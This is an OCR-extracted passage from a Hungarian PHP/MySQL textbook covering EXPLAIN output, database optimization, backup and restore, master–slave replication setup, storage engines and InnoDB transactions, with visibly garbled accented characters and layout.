lett olvassuk be. Ezt a tpust akkor hasznljuk, amikor az sszekapcsols nem tud az ssze
kapcsoJsi felttel alapjn egyetlen sort kivlasztani - vagyis amikor csak a kulcs egy rszt
hasznljuk az sszekapcsolsban, vagy a kulcs nem UNIQUE,

vagy nem az az elsdleges

kulcs.
ref or null

Olyan, rnint a ref lekrdezs, de a MySQL NULL sorokat is keres. (Ezt a tpust elssorban

index_merge

Az Index Merge egy klnleges optimalizls hasznlatt jelzi.

unique_subquery

Egyes IN egymsba gyazott lekrdezsekben, ahol egy egyedi sort kapunk vissza, erre az

index_subquery

A unique _subquery sszekapcsoJsi tpushoz hasonl, de indexelt, nem egyedi egyms

range

Az sszekapcsolsban szerepl ms tblk minden sorkszlethez a tbla azon sorkszlett

index

A celjes index beolvasott (scanned).

ALL

A tbla minden sora beolvasott.

egymsba gyazott lekrdezsekben hasznljuk.)

sszekapcsoJsi tpusra cserljk a ref tpust.


ba gyazott lekrdezsekre val.
olvassuk be, amely egy adott tartomnyba esik.

Az elz pldban lthatjuk, hogy az egyik tblt (konyvek) eq_ref tpus hasznlatval kapcsoltk ssze, egy msikat

(rendelesi_tetelek)
a

a ref tpussal, kt msikat (megrendelesek s vasarlok) pedig az ALL tpussal-vagyis

tbla minden egyes sort megnzve.


A rows oszlop is ezt tmasztja al: (nagyjbl) azt a szmot aclja meg, ahny sort az adott tblban az sszekapcsols vg

rehajtshoz be kell olvasnia a MySQL-nek. Ezeket a szmokat sszeszorozva megkapjuk a lekrdezs vgrehajtshoz meg
vizsglt sorok teljes szmt. Azrt kell sszeszorozni a szmokat, mert az sszekapcsols olyan, mint a klnbz tblkban

12

204

12

12. fejezet

lv sorok szorzata. Tovbbi rszletekrt lapozzunk vissza a Munka MySQL adatbzisunkkal cm 10. fejezethez l Ne feledjk,
hogy ez a megvizsglt, nem pedig a visszaadott sorok szma, s csupn becsls; a lekrdezs vgrehajtsa nlkl a MySQL nem
tudja a pontos szmot meghatrozni.
Nyilvnvalan minl kisebb tudjuk tenni ezt a szmot, annl jobb. Egyelre elhanyagolhat mennyisg adat tallhat
adatbzisunkban, de ha az adatbzis mrete nvekedni kezd, a lekrdezs vgrehajtsi ideje is nni fog. Erre a krdsre rvide
sen visszatrnk majd.
A possible_keys oszlop- ahogy azt neve is sugallja- a MySQL ltal a tbla sszekapcsolshoz hasznlt kulcsokat
mutatja. Pldnkban azt lthatjuk, hogy a lehetsges kulcsok mind PRIMARY, azaz elsdleges kulcsok.
A key oszlop vagy a MySQL ltal tnylegesen hasznlt tblbl szrmaz kulcsot vagy NULL rtket tartalmaz ( ameny
nyiben nem volt kulcs). Figyeljk meg, hogy br a vasarlok s a megrendelesek tblhoz tartoznak lehetsges elsdleges
kulcsok, a lekrdezshez ezek nem lettek felhasznlva!
A key_len oszlop a hasznlt kulcs hosszt mutatja. Ebbl az rtkbl megllapthatjuk, hogy csak a kulcs egy rsze lett-e
felhasznlva. A kulcs hosszsga akkor vlik fontoss, amikor egynl tbb oszlopbl ll kulcsokkal dolgozunk. Pldnkban
a teljes kulcs lett felhasznlva.
A ref oszlop azokat az oszlopokat mutatja, amelyeket a kulccsal egytt a tbla sorainak kivlasztshoz hasznltunk.
s vgl: az Extra oszlop az sszekapcsols vgrehajtsnak mdjrl kzl tovbbi informcit. A 12.10 tblzatban
az oszlop nhny lehetsges rtket lthatjuk. A tbb mint 15 lehetsges rtk teljes listjt a MySQL kziknyvben talljuk
(http:/l dev.mysql.com/ doc/refman/5.1/en/ using-explain.htrnl).
12.10 tblzat: Az

EXPLAIN

rtk

utasts kimenetben szerepl Extra oszlop nhny lehetsges rtke


Jelents

Distinct

Az els megfelel sor megtallsa utn a MySQL abbahagyja a keresst.

Not exists

A lekrdezs a LEFT

Range checked for

A MySQL az sszekapcsolsban szerepl ms tblk minden sorkszlethez megprblja


megtallni a legjobban hasznlhat indexet, ha van ilyen.

each record

JOIN

hasznlatra lett optimalizlva.

Using filesort

Kt illeszrsre van szksg az adatok rendezshez. (Ez a mvelet nyilvnvalan ktszer any
nyi ideig tart.)

Using index

A tblkbl szrmaz minden informci az indexbl jn; vagyis a sarok tnyleges ellenrz
se nem trtnik meg.

Using join buffer

A tblk beolvassa az sszekapcsalsi puffer hasznlatval rszekben trtnik; majd a soro


kat a pufferbl kinyerve megy vgbe a lekrdezs.

Using temporary

Ideiglenes tbla ltrehozsra van szksg a lekrdezs vgrehajtshoz.

Using where

A sarok kivlasztsa WHERE mellkg hasznlatval trtnik.

Az EXPLAIN utasts kimenetben szrevett hibkat tbbflekppen orvosolhatjuk. Elszr is ellenrizhetjk az oszlopt
pusokat, s meggyzdhetnk arrl, hogy megegyezek-e. Ez klnsen igaz az oszlopok szlessgre. Az indexek nem hasz
nlhatk klnbz szlessg oszlopok prostsra. Ezen a problmn gy segthetnk, ha mdostjuk a prostani kivnt,
de eltr szlessg oszlopok tpust, vagy ha mr az adatbzis tervezsnek elejn tekintettel vagyunk erre.
Msodsorban utasthatjuk az sszekapcsols-optimalizlt, hogy vizsglja meg a kulcseloszlsokat, s tegye hatkonyabb
az sszekapcsolsokat. A myisamchk segdalkalmazst vagy az ANALYZE TABLE utastst hasznlhatjuk erre- a kett
egyenrtk. Az albbiakat begpelve hvhatjuk meg a segdalkalmazst:
myisamchk --analyze pathtomysqldatabase/table

Tbb tblt is ellenrizhetnk, ha felsoroljuk ket a parancssorban, vagy az albbi utastst adjuk ki:
myisamchk --analyze pathtomysqldatabase/*.MYI

A kvetkez utasts futtatsval az adatbzis minden tbljt ellenrizhetjk:


myisamchk --analyze pathtomysqldatadirectory/*/*.MYI

A msik lehetsg, ha a MySQL manitoron bell az ANALYZE


analyze table vasarlok,

megrendelesek,

TAB LE

utastsnl felsoroljuk a tblkat:

rendelesi_tetelek,

konyvek;

Harmadsorban mrlegelhetjk annak lehetsgt, hogy j indexet adunk a tblhoz. Ha a lekrdezs lass vagy gyakori,
rdemes komolyan elgondolkodni ezen a javtsi lehetsgen. Amennyiben olyan egyszeri lekrdezsrl van sz, amelyet soha
az letben nem fogunk mg egyszer hasznlni- pldul a fnknk ltal krt, valamilyen bonyolult jelentsrl-, akkor az
minden bizonnyal nem fogja megrni az erfesztst, mert ms dolgokat lelassthat.

Halad MySQL-adminisztrci

Ha az

EXPLAIN

utasts kimenetnek

possible

keys

205

oszlopa nhny NULL rtket tartalmaz, azzal javthatjuk a le

krdezs teljestmnyt, hogy indexet adunk a krdses tblhoz. Ha a WHERE mellkgban hasznlt oszlop indexelsre megfe
lel, a kvetkezkppen hozhatjuk ltre az j indexet az ALTER
ALTER TABLE tabla ADD INDEX

TAB LE

utastssal:

(oszlop);

Adatbzisunk optimalizlsa
Az elbbi lekrdezs-optimalizlsi tippeken tlmenen srnos olyan dolgot tehetnk, amellyel ltalnossgban nveljk
MySQL adatbzisunk teljestmnyt.

Optimlisra tervezs
Az alapelv az;, hogy adatbzisunkban minden a lehet legkisebb legyen. Ezt a clt - legalbbis rszben - a redundancit mini
mliss tev, megfelel tervezssei rhetjk el. Szintn ezt szolglja, ha a lehet legkisebb adattpust hasznljuk az oszlopok
hoz. Ahol lehetsges, rninimalizljuk a NULL ttk oszlopok szmt, s tegyk az elsdleges kulcsot a lehet legrvidebbl
Ha lehet, kerljk a vltoz hosszsg oszlopok (gy a VARCHAR, TEXT s BLOB tpusak) hasznlatr! A rgztett hossz
sg mezkkel rendelkez tblkkal gyorsabban dolgozhatunk, br az igaz, hogy valarnivel tbb helyet foglalnak el.

Jogosultsgok
Az EXPLAIN utastssal foglalkoz rszben emltett tancsok mellett a jogosultsgok egyszerstsvel is nvelhetjk a lekr
ciezsek sebessgt. Korbban mr sz volt arrl, hogy vgrehajtsuk eltt a jogosultsgi rendszer ellenrzi a lekrdezseket.
Minl egyszerbb ez a folyamat, annl gyorsabban fog lefutni a lekrdezs.

Tblaoptimalizls
Egy hosszabb ideje hasznlatban lv tblt a frisstsek s trlsek feldolgozsa mr tredezett tehetett. A tredezettsg

megnveli a tblban a keressi idt. Az


OPTIMIZE TABLE tabla neve;

utastssal vagy a parancssorba a kvetkezket begpelve:


myisamchk -r

tabla

segthetnk ezen a problmn.


A

myisamchk

segdalkalmazssal a kvetkezkppen rendezhetjk egy tbla indext, illetve adatait az adott index szerint:

myisamchk --sort-index --sort-records=l

pathtomysqldatadirectory/*/*.MYI

Indexek hasznlata
Ahol szksges, indexek hasznlatval gyorsthatjuk lekrdezseinket. rizzk meg indexeink egyszersgt, s ne hozzunk
ltre olyanokat, amilyeneket lekrdezseink nem hasznlnak! Ahogy korbban mr emltettk, az EXPLAIN utasts futtats
val llapthatjuk meg, hogy mely indexek vannak hasznlatban.

Alaprtelmezett rtkek hasznlata


Ahol lehetsges, hasznljunk alaprtelmezett rtkeket az oszlopokban, s csak akkor szrjunk be adatokat, ha azok az alapr
telmezettl eltrek! Ezzel cskkenthet az

INSERT

utasts vgrehajtshoz szksges id.

Tovbbi tippek
Sok ms apr finomsggal javthatjuk adatbzisunk teljestmnyt, illetve kezelhetnk egyedi ignyeket. A MySQL weboldalon
szmos j tancsot tallunk erre vonatkozan (http:/ /www.mysql.com).

12

206

12. fejezet

Biztonsgiments ksztse MySQL adatbzisunkrl


A biztonsgi ments ksztsnek tbbfle mdszere lrezik MySQL-ben. Az egyik lehetsg, hogy a fizikai llomnyok mso
lsnak idejre zroljuk a tblkat. Ezt a LOCK TABLESparanccsal tehetjk meg, amely az albbi szintaktikt kveti:
[,

LOCK TABLEStabla zarolas_tipusa

tabla zarolas_tipusa

A tabla helyre a zroini kvnt tbla (illetve tblk) neve kerl, a


Biztonsgi ments ksztshez csak olvassi zrolsta van szksg. A

...]

zarolas _ tipusa

pedig READ vagy WRITE lehet.

FLUSH TABLES;

parancs futtatsval megbizonyosodhatunk arrl, hogy a biztonsgi ments ltrehozsa eltt az indexek minden vltozst
lemezre rtuk.
A biztonsgi ments elksztse kzben a felhasznJk s a kdok tovbbra is futtathatnak csak olvashat lekrdezseket.
Ha szmos olyan lekrdezssei dolgozunk, amelyek mdostjk az adatbzist (ilyenek lehetnek pldul az gyfelek megrende
lseiJ, akkor nem clszer ezt a megoldst vlasztanunk.
A msodik- s egyben ajnlott- mdszer a mysql_dump parancs hasznlata. A parancsot az opercis rendszer parancs
sorbl adjuk ki, s jellemzen valahogy gy nz ki:

12

mysql dump --opt --all-databases

>

all.sql

Ez az adarbzis jbli elllrshoz szksges minden SQL kdot az a ll.sql nev fjlba pakol.
Ezt kveten egy pillanatra le kell lltanunk a mysqld folyamatot, majd a --log-bin [=logfile] bellrssal jbl el
kell indtani azt. A naplfjlban trolt frisstsekbl kapjuk meg a mysql_dump parancs hasznlata ta vgbement vltoztat
sokat. (A naplfjlokrl termszetesen brmilyen biztonsgi ments ksztse esetn gondoskodnunk kell.)
A harmadik lehetsges mdszer a mysqlhotcopy kd hasznlata. A kvetkezkppen hvhatjuk meg:
mysqlhotcopy database /path/for/backup

Ez utn kvernnk kell az adarbzis elindtsnak s lelltsnak korbban bemutatott folyamatt.


A biztonsgi ments ksztsnek (s a feladattvtelnek J utols lehetsges mdszere az adarbzis egy repliklr msolatnak
mkdtetse. A replikcival a fejezet egy ksbbi rszben foglalkozunk majd.

MySQL adatbzisunk helyrelltsa


Ha helyre kell lltanunk MySQL adatbzisunkar, ismt csak tbb lehetsges megkzelts kzl vlaszrharunk. Amennyiben
a problmt srlt tbla okozza, futassuk a myisamchk utasrst -r (repair, azaz javts) belltssalJ
Ha a biztonsgi ments ltrehozshoz az elz rsz els mdszert vlasztottuk, msoljuk vissza az adatfjlokat egy j
MySQL-releptsben ugyanarra a helyre!
Ha a msodik megkzeltst alkalmaztuk a biztonsgi mentshez, tbb lps vr rnk. Elszr is le kell futtatnunk a dump
fjlban a lekrdezseket Ez a lps ellltja az adatbzisnak azt az llapott, amelynl a fjlt dumpolruk. Msodsorban frisste
nnk kell az adatbzist a binris naplban eltrolt llapotra. Ezt az albbi parancs futtatsval rhegk el:
mysqlbinlog hostname-bin. [0-9)*

mysql

A MySQL biztonsgi mentsnek s helyrelltsnak folyamatrl a hrrp:/ /www.mysql.com cmen elrhet MySQL web
oldalon olvasharunk bvebben.

Replikcimegvalstsa
A replikci nev technolgia lehetv teszi, hogy tbb adatbzis szolgltassa ugyanazokat az adatokat. Ezzel megoszthat
a terhels s fokozhat a rendszer megbzhatsga; ha az egyik kiszolgl tnkremegy, a lekrdezsek a tbbin futrathatk
lesznek. Bellts utn biztonsgi mentsek ksztsre is hasznlhat.
A dolog lnyege, hogy legyen egy master tpus szerver, amelyhez tbb slave tpust adhatunk. Minden slave kiszolgl
tkrzi a mastert. Amikor az elejn bellguk a slave kiszolglkat, a master kiszolgln az adott idpillanatban lv minden
adatot tmsolunk. A slave kiszolglkat ezt kveten a master alapjn frissteni kell. A master a binris napljbl tovbbtja
a rajta lefuttatott sszes lekrdezs rszleteit, majd a slave kiszolglk is alkalmazzk azokat sajt adataikra.
Jellemzen gy hasznljuk ezt a felllst, hogy az rsi lekrdezseket a master kiszolgln, az olvassi lekrdezseket pedig
a slave kiszolglkon futtaguk. Ezt alkalmazsunk logikja kveteli meg. sszetettebb architektrk is lehetsgesek, pldul
amelyben tbb master kiszolgl dolgozik, mi azonban csak ezzel a legtipikusabb felllssal foglalkozunk.
Belthat, hogy a slave kiszolglk ltalban nem rendelkeznek annyira napraksz adatokkal, mint a master. Ez minden
elosztott adatbzisra igaz.

Halad MySQL-adminiszrrci

207

A masrer s slave archrektra felptsnek els lpsekm leellenrizzk, hogy a binris naplzs be van-e kapcsolva
a

masreren. A binris naplzs bekapcsolsrl A PHP s a


A

my. ini

MySQL teleptse cm Fggelkben olvashatunk.

vagy my. cnf fjlunkat a masrer s a slave kiszolglkorr is szerkeszteni kell. Az elbbi esetn az albbi bellir

sokra lesz szksgnk:


[mysqld]

log-bin
server-id=l

Az els bellirs a binris naplzsr kapcsolja be (ezt mr be kellett kapcsolnunk; ha nem tettk meg, kapcsoljuk be mosr!).
A msodik bellirs egyedi azonostt ad a master kiszolglnak. Minden slave kiszolgl is azonostt ignyel, ezrt hasonl
sort kell hozzadnunk minden slave my. ini/my. cnf fjljhoz. gyeljnk, hogy a szmok egyediek legyenek! Az els slave
azonostja legyen- mondjuk-

a msodik

server-id=2;

server-id=3

srb.

A master kiszolgl belltsa


A master kiszolgln ltre kell hoznunk egy felhasznlt, amivel a slave kiszolglk csatlakozni rudnak. A slave kiszolglkhoz
egy klnleges, repiicaeion slave nev jogosulrsgi szinr tartozik. A kiindul adattovbbts tervezett mdjtl fggerr tmene
rileg tovbbi jogosultsgok megadsra is szksg lehet.
Az esetek tbbsgben adatbzis-pillanatfelvtelt fogunk hasznlni

az

adatok tadsra, s ekkor csak a klnleges

replication slave jogosultsgra van szksg. Ha gy dnrnk, hogy a LOAD DATA FROM MASTER paranccsal tovbbtjuk az
adarokar, a felhasznlnak RELOAD, SUPER s SELECT jogosulrsgra is szksge lesz, de csak a kiindul belltshoz. (Errl
az urasrsrl a kvetkez rszben olvasharunk bvebben.) A 9. fejezetben megismert, legkisebb jogosultsg elve alapjn vissza
kell vonni ezeker a jogosultsgokat, aminr a rendszer mr felll r s fut.
Hozzunk ltre egy felhasznlt a master kiszolgln! Brmilyen felhasznli nevet s jelszt adharunk neki, de jegyezzk
fel! Pldnkban a r ep_ slave nevet acljuk a felhasznlnak:
grant replication slave

on

* . *

to

'rep_slave'@

'%'

identified by

'j els z o' ;

Nyilvnvalan valarnilyen ms jelszr kell vlasztanunk.

A kezdeti adattvitel megvalstsa


Tbbflekppen tvihetjk az adatokat a master kiszolglrl a slave-re. A legegyszerbb a slave kiszolglk bellitsa (ezt
a

kvetkez rszben mutatjuk be), majd a LOAD DATA FROM MASTER utasts futtatsa. Ennek a megkzeltsnek az

szpsghibja, hogy az adattvitel idejre zrolja a master tblit, s rnivel ez nmi idr vehet ignybe, hasznlatt nem ajnl

juk. (Csak akkor rdemes ezt a mdszert vlasztani, ha MyiSAM tblkat hasznlunk.)
ltalban jobban jrunk, ha az adott idpontban pillanatfelvtelt ksztnk az adatbzisrL A fejezet korbbi rszben,
a

biztonsgi menrsek ltrehozshoz hasznlt eljrsoknl mr megmutattuk, hogyan tehetjk meg ezr. Elszr is Ilusholjuk

tblkat a kvetkez utastssal:

FLUSH TABLES WITH READ LOCK;

Az olvassi zrols indoka, hogy fel kell jegyeznnk a szerver binris napljban azt a helyet, ahol a pillanatfelvtelt ksztet
tk. Az albbi utasts futtatsval tehetjk ezt meg:
SHOW MASTER STATUS;

Ennek eredmnyekppen a kvetkezhz hasonl kimenetet kell kapnunk:


+----------------------+----------+--------------+------------------+

l File

Position

Einlog Do_DB

Binlog_Ignore_DB

+----------------------+----------+--------------+------------------+

llaura-ltc-bin.OOOOOl

95

+----------------------+----------+--------------+------------------+

Jegyezzk fel a File s a Positiorr mez rtkr; a slave kiszolglk belltshoz szksg lesz ezekre.
Mosr ksztsk el a pillanatfelvtelt, majd olcljuk fel a tblk zrelst a kvetkez utastssal:
unlock

tables;

12

208

12. fejezet

Amennyiben InnoDB tblkkal dolgozunk, a legegyszerbb az InnoDB Hot Backup eszkz hasznlata, amely az Innobase
Oy oldaln rhet el (http:/ / www.innodb.com). Mivel nem ingyenes szoftverrl van sz, szmolnunk kell licenckltsggeL
Megtehetjk azt is, hogy az irt bemutatort eljrst kvetjk, s a tblk zrolsnak feloldsa elre kikapcsoljuk a MySQL szer
vert, s a repliklni kvnt adatbzis teljes knyvrrt lemsoljuk, majd jraindtjuk a kszolglt, s feloldjuk a tblk zrolst.

A slave kiszolgl vagy kiszolglk belltsa


Kt lehetsg kzl vlasztharunk a slave kiszolgl(k) belltsakor. Ha ksztetrnk adatbzisunkrl pillanarfelvtelt, kezd
jk azzal, hogy a slave kiszolglra teleptjk!
Ezt kveten futtassuk a slave kiszolgln a kvetkez lekrdezseket:
change master to
master-host='szerver',
master-user='felhasznalo',
master-password='jelszo',

12

master-log-file='naplofajl',
master-log-pos=logpos;
start slave;

A dlt bervel szedert adatokat magunknak kell megadni. A szerver a master kiszolgl neve. A felhasznala s
a j elszo a master kiszolgln futtatott GRANT utastsbl addik. A naplofaj l s a logpos pedig a master kiszolgln
futtatort SHOW MASTER STATUS utasts kimenetbl kvetkezik.
A slave kiszolgl most mr fut s mkdik.
Amennyiben nem kszterrnk pillanatfelvtelt, a masterrl szrmaz adatokat az elz lekrdezs futtatsa utn a kvetke
z utasts vgrehajtsval tlthetjk be:
LOAD DATA FROM MASTER;

Tovbbi olvasnival
A MySQL-rl szl eddigi fejezetekben a rendszer azon rszeire s hasznlatra fordtortuk figyelmnket, amelyek a webes
fejleszts, illetve a MySQL s a PHP sszekapcsolsa szempongbl a leginkbb fontossggal brnak. Ha szecernnk tbbet
megtudni a MySQL-adminisztrcirl, ltogassunk el a hrrp:/ / www.mysql.com cmen elrhet MySQL weboldalral

MySQL Administrator's Guide and Language Rejerence cm kiadvnyr vagy


MySQL (Addison-Wesley kiad, negyedik kiads) cm mvt.

rdemes lehet elolvasni a MySQL Press kiad


Paul Dubois

Hogyan tovbb
A Halad

MySQL-programozs cm, kvetkez leckben a MySQL nhny olyan haladbb funkcijt ismerjk meg, amelyek

webes alkalmazsok rsakor hasznosak. Megrudjuk pldul azt, hogyan hasznljuk a klnbz trolmotorokat, a tranzakci
kat s a trolt eljrsokat.

13
Halad MySQL ...programozs
A kvetkezkben
A

halad MySQL-tmkrl,a tbbi kzt a tblaripusokrl, a tranzakcikrl s a trolt eljrsokrl olvashatunk.


fejezet sorn rintett fbb tmakrk:
A LOAD DATA INFILE utasts
Trolmotorok
Tranzakcik
Kls kulcsok
Trolt eljrsok

A LOAD DATA INFILE utasts


A MySQL egyik

hasznos,eddig nem trgyalt funkcija a LOAD DATA INFILE utasts. Hasznlatval fjlbl tlthernk be
a tblkba adatokat. Az utasts nagyon gyorsan lefut. Rugalmas, szmtalan opcival rendelkezik,jellernzen azonban a kvet
kezkppen nz ki:
LOAD DATA

INFILE

"uj

konyvek. txt"

INTO

TABLE konyvek;

Ez a sor a konyvek tblba olvassa az uj_konyvek. txt fjlban callhat adatokat. A fjl adatmezit alaprtelmezsben
rabulrorokka! kell egymstl elvlasztani,s egyszeres idzjel kz kell helyezni ket,a sorokat pedig jsor karakterrel (\n)
kell tagolni. A klnleges karaktereket perjellel (\) szksges kiemelni. Mindezeket a LOAD utasts klnbz opciival m
dosthatjuk; a rszleteket a MySQL kziknyvben talljuk.
A LOAD DATA INFILE utasts hasznlathoz a felhasznlnak a Webes adatbzis ltrehozsa cm 9. fejezetben bemuta
tort FILE jogosultsggal kell brnia.

Trolmotorok
trolmotort tmogat (amiket esetenknt tblatpusoknak is szoks nevezni). Ez azt jelenti,hogy vlasz
rsi lehetsgnk van a tblk mgttes megvalsrst illeten. Adatbzisunk akr minden tblja hasznlhat ms s ms
rrolmotort,s egyszeren vltharunk a mororok kztt.
A tblaripust a tbla ltrehozsakor vlaszthatjuk ki az albbi utastssal:

A MySQL tbbfle

CREATE TABLE

tabla

TYPE=tipus

....

leggyakrabban hasznlt trolmotorok a kvetkezk:


MyiSAM -Az alaprtelmezett tpus,ezt hasznltuk a knyv eddigi rszben is. A hagyomnyos !SAM-tpuson alapul,ami
az Indexed Sequentia l Access Method (index-szekvencilis adatelrsi mdszer) rviditse. Ez a rekordok s fjlok trolsnak
szabvnyos mdja. A MyiSAM szmos tovbbi elnyt kinl az ISAM-tpushoz kpest. A MyiSAM a tbbi trolmotorhoz
kpest tbb eszkzzel rendelkezik a tblk ellenrzsre s javtsra. A MyiSAM tblk tmrthetk, s tmogatjk a teljes
szvegre keresst (full text searching). Nem tranzakcibiztosak,s nem tmogatjk az idegen kulcsokat.
MEMORY (korbbi nevn HEAP) -Az ilyen tpus tblkat a memriban trolja a MySQL,indexeit pedig hasheli.
A MEMORY tblk ettl tudnak rendkvl gyorsak lenni,de a rendszer sszeomlsa esetn adataink elvesznek. Ezen tulaj
donsgaiknak ksznheten a MEMORY tblk ideiglenes vagy szrmaztatott adatok trolsra idelisak. A CREATE TABLE
utastsban meg kell hatroznunk a MAX_ROWS bellts (a sorok maximlis szma) rtkr, klnben a tblk a teljes mem
rit k:isajtthatjk. BLOB, TEXT vagy AUTO INCREMENT oszlopot nem tartalmazhatnak.
MERGE- Ezek a tblk lehetv teszik,hogy lekrdezs cljbl egyeden tblaknt kezeljnk tbb MyiSAM tblt. Ezzel
kikerlhetk az egyes opercis rendszerek maximlis fjimreere vonatkoz korltozsai.
ARCHIVE- Az ilyen tblk nagy mennyisg adatot trolnak kis helyen. Tmogatjk az INSERT s a SELECT lekrde
zseket,a DELETE, az UPDATE s a REPLACE mveleteket viszont nem. Indexeket nem hasznlnak.
A

210

13.fezet

CSV- A kiszolgl egyetlen, vesszvel elvlasztott rtket tartalmaz fjlban trolja ezeket a tblkat.Elnyk akkor jelentke

zik, ha kls tblzatkezel alkalmazsban, pldul Microsoft Excelben lv adatokat kell megtekinreni, vagy dolgozni kell velk.
InnoDB-Az ilyen tblk tranzakcibiztosak; ez azt jelenti, hogy esetkben hasznlhatjuk a COMM IT s a ROLLBACK

parancsot.Az InnoDB tblk a kls kulcsokat is tmogatjk. A MyiSAM tblknl ugyan lassabbak, m a tranzakcik hasz
nlatnak lehetsge ellenslyozza sebessgbeli htrnyukat.
A webes alkalmazsok tbbsgben jellemzen MyiSAM vagy InnoDB tblkat, illetve ezek keverkt hasznljuk.
Akkor rdemes MyiSAM tpussal dolgozni, amikor jelents szm

SELECT

vagy INSERT lekrdezst futtarunk egy tbln

(nem vegyesen a krfle lekrdezst), mett ebben ez a leggyorsabb. Szmos webes alkalmazshoz-egyebek kztt a katalgusok
hoz is-a MyiSAM a legjobb vlaszts.Akkor is a MyiSAM a nyer, amikor teljes szvegre keressi lehetsgre van szksgnk.
InnoDB tpus tblra akkor van szksg, amikor fontosak a tranzakcik (pldul pnzgyi adatokat trol tblk esetn), vagy
pedig egyms kz keld INSERT s

SELECT

lekrdezsek hasznlatakor (pldul online zenfalak s frumok esetn).

A MEMORY tblkat ideiglenes tblaknt vagy nzetek megvalstsra hasznlhatjuk, a MERGE tblkat pedig akkor,
amikor igazn nagy MyiSAM tblkat kell kezelnnk.
A tbla ltrehozsa utn az ALTER

TABLE

utastssal mdosthatjuk tpust, pldul gy:

ALTER TABLE megrendelesek TYPE=innodb;


ALTER TABLE rendelesi_tetelek TYPE=innodb;

A knyv ezen rszben leginkbb MyiSAM tblkkal dolgoztunk. Sznjunk most kis idt arra, hogy figyelmnket a tranz
akcik hasznlatra, illetve az InnoDB tblkon belli megvalsrsuk mdszereire fordtsuk!

13

Tranzakcik
A tranzakcik az adatbzis konzisztencijt biztost mechanizmusok, amelyek klnsen hiba vagy szerversszeomls esetn

fontosak.A kvetkez rszekbl kiderl, pontosan mik azok a tranzakcik, s hogyan valsthatjuk meg ket InnoDB tblkkal.

A tranzakcikkal kapcsolatos defincik megismerse


Elszr is hatrozzuk meg a tranzakci fogalmt l A tranzakci olyan lekrdezs vagy lekrdezsek olyan sorozata, amely vagy
reljes mrtkben lefut az adatbzison, vagy egyltaln nem fut le. Az adatbzisok gy a tranzakci befejezttl fggetlenl meg
rizhetik konzisztens llapotukat.
Hogy lssuk, mirt olyan fonros ez a lehetsg, vizsgljuk meg egy banki adatbzis pldjt! Kpzeljk el azt a szitucit,
amelyben pnzt szetetnnk utalni az egyik szmlrl a msikra! Ez a mvelet magban foglalja, hogy eltvoltjuk a pnzt az
egyik szmlrl, majd thelyezzk egy msikra. Knnyen belthat, hogy ehhez legalbb kt lekrdezsre van szksg. Rend
kvl fontos, hogy e kt lekrdezs kzl vagy mindkett lefusson, vagy egyik sem. Ha az egyik szmlrl levesszk a pnzt, s
elmegy az ram, mieltt egy msik szmlra rraknnk, mi trtnik? A pnz egyszeren csak eltnik?
Bizonyra tallkoztunk mr az ACID-kompatibilis kifejezssel. Az ACID betsz a tranzakcikkal szemben elvrt ngy
kvetelmnyre utal:
Atomisg (Atomicity)- A tranzakcinak atominak kell lennie; ez azt jelenti, hogy vagy teljesen lefusson, vagy egylta

ln ne fusson le.
Konzisztencia (Consistency)- A tranzakcinak meg kell riznie az adatbzis konzisztens llapott.
Izolci (Isolation)- A befejezetlen tranzakcik az adatbzis ms felhasznli szmra lthatatlanok kell, hogy legye

nek; vagyis befejezskig a tranzakciknak elklntve kell maradni uk.


Tartssg (Durability)-Az adatbzisba rsuk utn a tranzakciknak vglegesnek, ms szval tartsnak kell lennik.

A vglegesen az adatbzisba rt tranzakcit vglegestettnek ( committed) moncljuk. Az adatbzisba nem rt tranzakci r, vagyis
amikor az adarbzis visszall a tranzakci megkezdse eltti llapotba, visszagrgetett (rolled back) tranzakcinak nevezzk.

Tranzakcik hasznlata InnoDB tblkkal


A MySQL alaprtelmezsben autocommit mdban fut.Ez azt jelenti, hogy minden lefuttatott utasts azonnal az adatbzisba
rdik (vglegestett lesz).Tranzakcibiztos tblatpus hasznlata esetn tbb mint valszn, hogy nem szetetnnk ezt.
Ha az aktulis munkamenetben ki szeretnnk kapcsoini az autocommit mdot, a kvetkezt kell begpelni:
SET AUTOCOMMIT=O;

Az autocommit md bekapcsolt llaporban a


START TRANSACTION;

urasrssal kezdhetnk meg egy tranzakcit.

Halad MySQL-programozs

211

Kikapcsolt llapot esetn nincs szksg erre a parancsra, mert a tranzakci automatikusan megkezddik, arnint berunk egy
SQL utastst.
Ha befejeztk a tranzakcit alkot utastsok bevitelt, egyszeren a kvetkezt begpelve vglegesthetjk azt az adatbzisban:
COMMIT;

Ha valamilyen okbl meggondoljuk magunkat, a


ROLLBACK;

utastssal trhetnk vissza az adatbzis elz llapothoz. Amig nem vglegestjk a tranzakcit, a tbbi felhasznl szmra
vagy ms munkamenetekben lmatatlan lesz.
Nzznk egy pldt! Amennyiben mg nem tettk volna meg, hajtsuk vgre a konyvek adatbzison a fejezet elz rsz
ben emltett, kt ALTER TABLE utastst most:
ALTER TABLE

megrendelesek

ALTER TABLE

rendelesi_tetelek TYPE=innodb;

TYPE=innodb;

Ezek az utastsok InnoDB tblkk alaktjk a kt tblt. (A ksbbiekben ugyanezzel az utastssal visszaalakthatjuk
ket, m akkor a type=MyiSAM paramtert kell hasznlni.)
Nyissunk kt kapcsolatot a konyvek adatbzishoz l Adjunk egy j rendelsi rekordot az adatbzishoz:
INSERT INTO megrendelesek

VALUES (5,

2,

69.98,

INSERT INTO rendelesi_tetelek VALUES (5,

'2008-06-18');

'0-672-31697-8',

l);

Ellenrizzk, hogy ltjuk-e az j rendelseket:


SELECT

FROM megrendelesek WHERE rendelesid=5;

A kvetkezkppen jelenik meg a rendels:


+------------+-----------+--------+------------+
rendelesid

vasarloid

osszeg

datum

+------------+-----------+--------+------------+
5

69.98

2008-06-18

+------------+-----------+--------+------------+

Hagyjuk nyitva ezt a kapcsolatot, menjnk a msikra, s futassuk le ugyanezt a SELECT lekrdezst! Ekkor nem fogjuk
ltni a megrendelst:
Empty set

(0.00 sec)

Ennek oka, hogy a tranzakcit mg nem vglegestetrk. (Kivl pldja ezt a tranzakci-izollsnak.) Ha mgis ltjuk,
akkor minden bizonnyal elfelejtettk kikapcsalni az automatikus vglegestst (autocommit). Ellenrizzk ezt, illetve azt, hogy
InnoDB formtumv alaktottuk-e a szban forg tblt!
Trjnk vissza az els kapcsolathoz, majd vglegestsk a tranzakcit:
COMMIT;

Most mr a msik kapcsolatban is vissza kell kapnunk a megfelel sort.

Kls kulcsok
Az InnoDB a kls kulcsokat is tmogatja. Emlkezhetnk r, hogy a kls kulcsok fogalmval a Webes adatbzis megtervezse
